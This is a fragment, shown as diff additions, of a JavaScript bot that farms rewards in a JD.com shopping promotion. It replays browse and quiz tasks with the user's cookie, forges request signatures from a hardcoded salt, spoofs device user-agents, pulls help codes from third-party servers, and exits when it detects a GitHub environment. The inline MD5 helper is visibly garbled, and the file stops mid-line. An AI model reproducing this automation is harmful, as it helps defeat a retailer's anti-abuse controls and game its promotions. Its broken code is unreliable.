+function doBrowse(id = "", brandId = "", taskMark = "hot", type = "browse", logMark = "browseHotSku") { + return new Promise(resolve => { + const body = `brandId=${brandId}&id=${id}&taskMark=${taskMark}&type=${type}&logMark=${logMark}`; + const options = taskPostUrl('/khc/task/doBrowse', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`doBrowse 做${taskMark}任务:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + $.browseId = data['data']['browseId'] || ""; + } else { + console.log(`doBrowse异常`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//领取奖励 +function getBrowsePrize(browseId, brandId = '') { + return new Promise(resolve => { + const body = `brandId=${brandId}&browseId=${browseId}`; + const options = taskPostUrl('/khc/task/getBrowsePrize', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`getBrowsePrize 领取奖励 结果:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data['data']['jingBean']) $.beans += data['data']['jingBean']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doBrandTask() { + for (let brand of $.brandList) { + await brandTaskInfo(brand['brandId']); + } +} +function brandTaskInfo(brandId) { + const options = taskUrl('/khc/index/brandTaskInfo', { t: Date.now(), brandId }) + $.skuTask = []; + $.shopTask = []; + $.meetingTask = []; + $.questionTask = {}; + return new Promise( (resolve) => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + let brandId = data['data']['brandId']; + $.skuTask = data['data']['skuTask'] || []; + $.shopTask = data['data']['shopTask'] || []; + $.meetingTask = data['data']['meetingTask'] || []; + $.questionTask = data['data']['questionTask'] || []; + for (let sku of $.skuTask.filter(vo => !!vo && vo['status'] !== '4')){ + console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + console.log(`开始浏览 1-F 单品区 任务 ${sku['name']}`); + await doBrowse(sku['id'], brandId, "brand", "presell", "browseSku"); + await $.wait(1000 * 6); + if ($.browseId) await getBrowsePrize($.browseId, brandId); + } + for (let sku of $.shopTask.filter(vo => !!vo && vo['status'] !== '4')){ + console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + console.log(`开始浏览 2-F 专柜区 任务 ${sku['name']},需等待10秒`); + await doBrowse(sku['id'], brandId, "brand", "follow", "browseShop"); + await $.wait(10100); + if ($.browseId) await getBrowsePrize($.browseId, brandId); + } + for (let sku of $.meetingTask.filter(vo => !!vo && vo['status'] !== '4')){ + console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + console.log(`开始浏览 3-F 综合区 任务 ${sku['name']},需等待10秒`); + await doBrowse(sku['id'], brandId, "brand", "meeting", "browseVenue"); + await $.wait(10500); + if ($.browseId) await getBrowsePrize($.browseId, brandId); + } + if ($.questionTask.hasOwnProperty('id') && $.questionTask['result'] === '0') { + console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + console.log(`开始做答题任务 ${$.questionTask['question']}`); + let result = 0; + for (let i = 0; i < $.questionTask['answers'].length; i ++) { + if ($.questionTask['answers'][i]['right']) { + result = i + 1;//正确答案 + } + } + if (result !== 0) { + await doQuestion(brandId, $.questionTask['id'], result); + } + } + } else { + console.log(`失败:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }); +} +function doQuestion(brandId, questionId, result) { + return new Promise(resolve => { + const body = `brandId=${brandId}&questionId=${questionId}&result=${result}`; + const options = taskPostUrl('/khc/task/doQuestion', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`doQuestion 领取答题任务奖励 结果:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data['data']['jingBean']) $.beans += data['data']['jingBean']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//逛好货街,做任务 +async function doBrowseshopTask() { + $.browseshopList = $.browseshopList.filter(v => !!v && v['status'] === "6"); + if ($.browseshopList && $.browseshopList.length) console.log(`\n开始 【逛好货街,做任务】,需等待10秒`) + for (let shop of $.browseshopList) { + await doBrowse(shop['id'], "", "browseShop", "browse", "browseShop"); + await $.wait(10000); + if ($.browseId) { + await getBrowsePrize($.browseId) + } + } +} +function indexInfo(flag = false) { + const options = taskUrl('/khc/index/indexInfo', { t: Date.now() }) + $.hotProductList = []; + $.brandList = []; + $.browseshopList = []; + return new Promise( (resolve) => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + $.hotProductList = data['data']['hotProductList']; + $.brandList = data['data']['brandList']; + $.browseshopList = data['data']['browseshopList']; + if (flag) { + // console.log(`助力情况:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}`); + // message += `邀请好友助力:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}\n` + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} +//获取助力信息 +function supportList() { + const options = taskUrl('/khc/index/supportList', { t: Date.now() }) + return new Promise( (resolve) => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`助力情况:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}`); + message += `邀请好友助力:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} +//积分抽奖 +function lottery() { + const options = taskUrl('/khc/record/lottery', { t: Date.now() }) + return new Promise( (resolve) => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + if (data.data.prizeId !== 8) { + //已中奖 + const url = 'https://carnivalcity.m.jd.com/#/integralDetail'; + console.log(`积分抽奖获得:${data.data.prizeName}`); + message += `积分抽奖获得:${data.data.prizeName}\n`; + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${data.data.prizeName}\n兑换地址:${url}`, { 'open-url': url }); + if ($.isNode()) await notify.sendNotify($.name, `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${data.data.prizeName}\n兑换地址:${url}`); + } else { + console.log(`积分抽奖结果:${data['data']['prizeName']}}`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} +//查询抽奖记录(未兑换的) +function check() { + const options = taskUrl('/khc/record/convertRecord', { t: Date.now(), pageNum: 1 }) + return new Promise( (resolve) => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let str = ''; + if (data.code === 200) { + for (let obj of data.data) { + if (obj.hasOwnProperty('fillStatus') && obj.fillStatus !== true) { + str += JSON.stringify(obj); + } + } + } + if (str.length > 0) { + const url = 'https://carnivalcity.m.jd.com/#/integralDetail'; + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${str}\n兑换地址:${url}`, { 'open-url': url }); + if ($.isNode()) await notify.sendNotify($.name, `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${str}\n兑换地址:${url}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); + return new Promise((resolve)=>{ + var request = require('request'); + let timestamp = (new Date()).getTime() + var headers = { + 'Sgm-Context': '144512924112128160;144512924112128160', + 'Host': 'carnivalcity.m.jd.com', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Mobile/15E148 Safari/604.1', + 'sign': 'c5a92160e87206287af0faee2b056429', + 'Referer': 'https://carnivalcity.m.jd.com/', + 'timestamp': `${timestamp}`, + 'Cookie': cookie + }; + + var options = { + url: `https://carnivalcity.m.jd.com/khc/record/convertRecord?pageNum=1&t=${timestamp}`, + headers: headers + }; + + async function callback(error, response, body) { + if (!error && response.statusCode == 200) { + // $.log(body); + let result = JSON.parse(body) + let message = "" + if (result.data.length > 0) { + message += message += `\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n` + } + for (let obj of result.data) { + if (obj.hasOwnProperty('fillStatus') && obj.fillStatus != true) { + message += JSON.stringify(obj) + } + } + if (message.length > 0) { + await notify.sendNotify($.name, message); + } + resolve() + } + } + + request(options, callback); + + }) +} +function myRank() { + return new Promise(resolve => { + const body = { + t: Date.now() + } + const options = taskUrl("/khc/rank/myPastRanks", body); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + if (data.data && data.data.length) { + for (let i = 0; i < data.data.length; i++) { + $.date = data.data[i]['date']; + if (data.data[i].status === '1') { + console.log(`开始领取往期奖励【${data.data[i]['prizeName']}】`) + let res = await saveJbean($.date); + // console.log('领奖结果', res) + if (res && res.code === 200) { + $.beans += Number(res.data); + console.log(`${data.data[i]['date']}日 【${res.data}】京豆奖励领取成功`) + } else { + console.log(`往期奖励领取失败:${JSON.stringify(res)}`); + } + await $.wait(500); + } else if (data.data[i].status === '3') { + console.log(`${data.data[i]['date']}日 【${data.data[i]['prizeName']}】往期京豆奖励已领取~`) + } else { + console.log(`${data.data[i]['date']}日 【${data.data[i]['status']}】往期京豆奖励,今日争取进入前30000名哦~`) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//领取往期奖励API +function saveJbean(date) { + return new Promise(resolve => { + const body = "date=" + date; + const options = taskPostUrl('/khc/rank/getRankJingBean', body) + $.post(options, (err, resp, data) => { + try { + // console.log('领取京豆结果', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function doHelp() { + console.log(`\n开始助力好友`); + for (let item of $.newShareCodes) { + if (!item) continue; + const helpRes = await toHelp(item.trim()); + if (helpRes.data.status === 5) { + console.log(`助力机会已耗尽,跳出助力`); + break; + } + } +} +//助力API +function toHelp(code = "7c4deed4-2a26-4fa1-bb27-8421f02f30a6") { + return new Promise(resolve => { + const body = "shareId=" + code; + const options = taskPostUrl('/khc/task/doSupport', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`助力结果:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data['data']['status'] === 6) console.log(`助力成功\n`) + if (data['data']['jdNums']) $.beans += data['data']['jdNums']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取邀请码API +function getHelp() { + return new Promise(resolve => { + const body = { + t: Date.now() + } + const options = taskUrl("/khc/task/getSupport", body); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`\n\n${$.name}互助码每天都变化,旧的不可继续使用`); + $.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.shareId}\n\n`); + $.temp.push(data.data.shareId); + } else { + console.log(`获取邀请码失败:${JSON.stringify(data)}`); + if (data.code === 1002) $.blockAccount = true; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取当前活动总京豆数量 +function getListJbean() { + return new Promise(resolve => { + const body = { + t: Date.now(), + pageNum: `` + } + const options = taskUrl("/khc/record/jingBeanRecord", body); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + $.jingBeanNum = data.data.jingBeanNum || 0; + message += `累计获得京豆:${$.jingBeanNum}🐶\n`; + } else { + console.log(`jingBeanRecord失败:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//查询累计获得积分 +function getListIntegral() { + return new Promise(resolve => { + const body = { + t: Date.now(), + pageNum: `` + } + const options = taskUrl("/khc/record/integralRecord", body); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + $.integralCount = data.data.integralNum || 0;//累计活动积分 + message += `累计获得积分:${$.integralCount}\n`; + console.log(`开始抽奖,当前积分可抽奖${parseInt($.integralCount / 50)}次\n`); + for (let i = 0; i < parseInt($.integralCount / 50); i ++) { + await lottery(); + await $.wait(500); + } + } else { + console.log(`integralRecord失败:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//查询今日累计积分与排名 +function getListRank() { + return new Promise(resolve => { + const body = { + t: Date.now() + } + const options = taskUrl("/khc/rank/dayRank", body); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + if (data.data.myRank) { + $.integer = data.data.myRank.integral;//当前获得积分 + $.num = data.data.myRank.rank;//当前排名 + message += `当前获得积分:${$.integer}\n`; + message += `当前获得排名:${$.num}\n`; + } + if (data.data.lastRank) { + $.lasNum = data.data.lastRank.rank;//当前参加活动人数 + message += `当前参赛人数:${$.lasNum}\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function updateShareCodesCDN(url = 'https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_cityShareCodes.json') { + return new Promise(resolve => { + $.get({url , headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}, timeout: 200000}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://share.turinglabs.net/api/v3/carnivalcity/query/20/`, 'timeout': 20000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(20000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex] && inviteCodes[tempIndex].split('@') || []; + if ($.updatePkActivityIdRes && $.updatePkActivityIdRes.length) $.newShareCodes = [...$.updatePkActivityIdRes, ...$.newShareCodes]; + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + // console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + let shareCodes = []; + if ($.isNode()) { + if (process.env.JD818_SHARECODES) { + if (process.env.JD818_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JD818_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JD818_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskUrl(t, a) { + const r = Date.now().toString(); + // const r = "1617242355798"; + // 07035cabb557f09a51617242355798 + let o = "07035cabb557f09a5" + r; + // let t = "/khc/index/brandTaskInfo"; + // let a = { + // brandId: "66666", + // t: Date.now()//此时间戳和url后面的&t=一致 + // }; + let str = '' + const cc = Object.keys(a); + cc.map((item, index) => { + str += `${item}=${a[item]}${index + 1 !== cc.length ? '&' : ''}`; + }) + return { + url: `${JD_API_HOST}${t}?${str}`, + headers: { + "accept": "application/json, text/plain, */*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", + "referer": "https://carnivalcity.m.jd.com/", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-origin", + "Cookie": cookie, + "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + sign: za(a, o, t).toString(), + timestamp: r, + } + } +} +function taskPostUrl(t, a) { + const r = Date.now().toString(); + let o = "07035cabb557f09a5" + r; + // let t = "/khc/task/doQuestion"; + // let a = "brandId=555555&questionId=2&result=1" + return { + url: `${JD_API_HOST}${t}`, + body: a, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "carnivalcity.m.jd.com", + "Origin": "https://carnivalcity.m.jd.com", + "Referer": "https://carnivalcity.m.jd.com/?lng=113.325695&lat=23.198318&sid=dfb50c19b37544d6ce10759e26c451dw&un_area=19_1601_50258_62858", + "User-Agent": "jdapp;iPhone;9.4.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/B28DA848-0DA0-4AAA-AE7E-A6F55695C590;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167588;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Cookie": cookie, + sign: za(a, o, t).toString(), + timestamp: r, + } + } +} + +function P(t) { + return P = "function" === typeof Symbol && "symbol" === typeof Symbol.iterator ? function (t) { + return typeof t + } + : function (t) { + return t && "function" === typeof Symbol && t.constructor === Symbol && t !== Symbol.prototype ? "symbol" : typeof t + } + , + P(t) +} +function za(t, e, n) { + var a = "" + , i = n.split("?")[1] || ""; + if (t) { + if ("string" == typeof t) + a = t + i; + else if ("object" == P(t)) { + var r = []; + for (var s in t) + r.push(s + "=" + t[s]); + a = r.length ? r.join("&") + i : i + } + } else + a = i; + if (a) { + var o = a.split("&").sort().join(""); + return $.md5(o + e) + } + return $.md5(e) +} + + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function showMsg() { + if ($.beans) { + allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n本次运行获得:${$.beans}京豆\n${message}活动地址:${JD_API_HOST}${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + $.msg($.name, `京东账号${$.index} ${$.nickName || $.UserName}`, `${message}具体详情点击弹窗跳转后即可查看`, {"open-url": JD_API_HOST}); +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const 